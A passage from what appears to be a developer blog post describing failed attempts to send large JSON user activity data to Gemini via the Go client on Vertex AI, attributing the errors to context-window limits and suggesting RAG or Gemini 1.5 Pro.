fmt.Println(response.Candidates[0].Content.Parts[0])

In this case, the model correctly answered something reasonable (given our context): I am waiting for you to share the data in JSON format so I can analyze it and provide you with insights into the potential correlations between the data and your sleep/activity habits.

Let’s do what the model is asking us to do. Get all the data, convert it to JSON, and send it to the model.

Suppose that an object fetcher exists and it’s able to fetch all the user data in a specified range. This is the function signature:

func (f *fetcher) FetchByRange(startDate, endDate time.Time) []*UserData

We can use the fetcher object to get an allData slice and convert all the values into JSON.

allData := fetcher.FetchByRange(startDate, endDate)
var jsonData []byte
if jsonData, err = json.Marshal(allData); err != nil {
    return err
}
stringData := string(jsonData)

stringData contains the whole user data in JSON format, and we can now send it to the model and see what happens:

if _, err = chatSession.SendMessage(ctx, genai.Text(stringData)); err != nil {
	return err
}

err != nil:

rpc error: code = InvalidArgument desc = Request contains an invalid argument.

The error is absolutely generic, and not descriptive at all. This is one of the pain points of the Gemini interface in Vertex AI.

After debugging, we can understand that we are sending a HUGE message to the model that exceeds the value of MaxSequenceLenght. The length of stringData is 297057, while according to the documentation (and that’s another pain point), the maximum sequence length is 30720 * 3 = 92160.

In order to understand if the problem hidden by the generic message “invalid argument” is the excessive length of the input sequence, we can try to just truncate stringData to MaxSequenceLenght, and send the message:

if _, err = chatSession.SendMessage(ctx, genai.Text(stringData[:MaxSequenceLenght])); err != nil {
	return err
}

err != nil:

Once again 😔

Perhaps our conservative interpretation of the documentation wasn’t enough conservative? If we change the multiplicative factor from 3 to 2 (so we consider a token something long 2 characters), and we repeat the previous request, then it works! However, the answer is quite worrying since every time we send this truncated JSON, the model only outputs JSON as it looks like for some reason it is trying to complete the data.

Anyway, we can discard this option since sending all the data at once is not possible. Let’s go with option 2.

Option 2: sending multiple messages

From the previous attempt, we find out the real MaxSequenceLenght to use. We can try to customize the introductory message to tell Gemini that we are going to send the data in multiple messages and see what the model answers after sending the new context and the various messages.

var numMessages int
if len(stringData) > MaxSequenceLength {
    numMessages = len(stringData) / MaxSequenceLength
    fmt.Fprintf(&builder, "I will send you %d messages containing the user data.", numMessages)
} else {
    numMessages = 1
    fmt.Fprintln(&builder, "I will send you a message containing the user data.")
}

introductionString := builder.String()
if response, err = chatSession.SendMessage(ctx, genai.Text(introductionString)); err != nil {
    return err
}
// checkout response content

for i := 0; i < numMessages; i++ {
    if response, err = chatSession.SendMessage(ctx, genai.Text(stringData[i*MaxSequenceLength:(i+1)*MaxSequenceLength])); err != nil {
        return err
    }
    // checkout response content
}

Unfortunately, after sending introductionString and the first chunk of stringData, the server returned, once again the cryptic message:

rpc error: code = InvalidArgument desc = Request contains an invalid argument.

Moreover, the model once again started to return only JSON content after the first (and only) sent message with JSON data. Let’s try with the third and last approach.

Populate the chat history

The genai.ChatSession structure, comes with a modifiable field named History. We can update this field in order to give the model an existing context, in the format of message exchange between the users with different roles:

A message from the "user"
A message from the "model"

Always in this sequence. Populating the history is the way we have to restore previous conversations (e.g. I imagine that the resume of past conversations on https://gemini.google.com/app is implemented in this way).

chatSession.History = []*genai.Content{
    {
        Parts: []genai.Part{
            genai.Text(introductionString),
        },
        Role: "user",
    },
    {
        Parts: []genai.Part{
            genai.Text(
                fmt.Sprintf("Great! I will analyze the data and provide you with insights. Send me the data in JSON format in %d messages", numMessages)),
        },
        Role: "model",
    },
}

for i := 0; i < numMessages; i++ {
    var botTextAnswer string
    if i == numMessages-1 {
        botTextAnswer = "I received the last message with the data. I will now analyze it and provide you with insights."
    } else {
        botTextAnswer = "Go on, send me the missing data. I will analyze it once I have all the data."
    }

    chatSession.History = append(chatSession.History, []*genai.Content{
        {
            Parts: []genai.Part{
                genai.Text(genai.Text(stringData[i*MaxSequenceLength : (i+1)*MaxSequenceLength])),
            },
            Role: "user",
        },
        {
            Parts: []genai.Part{
                genai.Text(botTextAnswer),
            },
            Role: "model",
        }}...)
}

In this way, it looks like that we’ve been able to pass all the data to the model - but this is not true. In fact, we are only populating the local History variable, that it will be sent once on the first chatSession.SendMessage call. As easy to imagine, the first message sent will fail once again with the usual generic error message:

rpc error: code = InvalidArgument desc = Request contains an invalid argument.

The reason for these failures

We encountered a very common problem that happens when working with large language models: the limit on the context window length.

A context window in a large language model is like its short-term memory. It refers to the limited amount of text the model can consider at any one time when processing information and generating responses.

Imagine you’re reading a book, but you can only see a few sentences at a time through a small window. As you move forward, the previous sentences disappear, replaced by new ones. This is similar to how an LLM “reads” information – it focuses on a specific window of text and uses that information to understand the overall context and generate a response.

When working with LLM, we should take into account that inside the “tokens count” not only the user input is considered, but also the model’s output. So, every time a model accepts 1000 tokens as input and produces 500 tokens as output, the total count of tokens that it will consume in the next call will be 1500 (1000 + 500) + the number of tokens of the new input message.

However, what an LLM user expects is the model “forgetting” about the initial part of the conversation and using only the remaining part of the context as a “database” to find the answer to the user’s question.

This is not happening with the Go client, and I suspect (but I haven’t verified it yet) that is something that only happens with this client and not with the Python client (for instance). In any case, the failure messages are absolutely too generic to be useful.

The correct solution: RAG or a bigger context window

The context window length of Gemini depends on the specific version:

Standard Gemini: This version has a context window of approx 128,000 tokens (30720*4)
Gemini 1.5 Pro (limited access and recently released): This advanced version boasts a significantly larger context window, reaching up to 1 million tokens. This is currently the longest context window of any publicly known large-scale foundation model.

However, being Gemini 1.5 Pro not yet publicly available, we can only rely upon a solution called RAG.

RAG stands for Retrieval-Augmented Generation. It’s a technique used to improve the accuracy and relevance of LLM responses by providing additional context retrieved from external sources.

Here’s how RAG works:

The user provides a query or task: You ask a question or give an instruction to the LLM.
Retrieval system searches for relevant information: An information retrieval component searches through a designated data source (e.g., documents, articles or - in our case - the user data) based on your query.
Retrieved information is combined with user query: The retrieved information and your original query are then combined to form a richer prompt for the LLM.
LLM generates a response: The LLM uses its knowledge and the provided prompt to generate a response that’s more likely to be accurate, relevant, and insightful.

Think of RAG as giving the LLM a helping hand by providing additional clues and background information to understand the context of your query better. This leads to more informed and accurate responses.

However, implementing a RAG requires a way to compute embeddings, a database to store them, and to make similarity queries. This will be covered in another article :)

Conclusion

Integrating Gemini with Go applications on Vertex AI presents several limitations and challenges:

Limited context window: While the documentation mentions a limit on the number of tokens (30720), it does not explicitly state that input tokens are cumulative with the model’s output. This crucial detail significantly reduces the usable context window, causing issues when feeding data in multiple parts or using chat history.
Region restriction: Currently, using Gemini on Vertex AI is limited to the “us-central1” region, regardless of the project’s actual region.
Generic error messages: The generic “InvalidArgument” error message encountered during interaction with the model makes it difficult to diagnose specific issues.
Client behavior: Unlike expected behavior expected (seen when working the the OpenAI client for example), the Go client for Gemini in Vertex AI seems to not manage context history effectively. Instead of “forgetting” older messages as new data arrives, it accumulates all interactions, leading to the generic error message even when the total sequence length falls within the documented limit. This significantly hinders the ability to maintain a meaningful conversation with the model.

Potential solutions:

RAG (Retrieval-Augmented Generation): This technique proposes retrieving relevant information from external sources to enrich the context for the LLM. However, implementing RAG requires additional infrastructure and will be explored in a future article.
Upgrading to Gemini 1.5 Pro (limited access): This advanced version offers a significantly larger context window, potentially mitigating the limitations faced with the standard version. However, currently, access to this version is limited and the pricing is likely to be (way) higher than the standard version.

For any feedback or comments, please use the Disqus form below - Thanks!

This article has been possible thanks to the Google ML Developer Programs team that supported this work by providing Google Cloud Credit. This article is part of #GeminiSprint.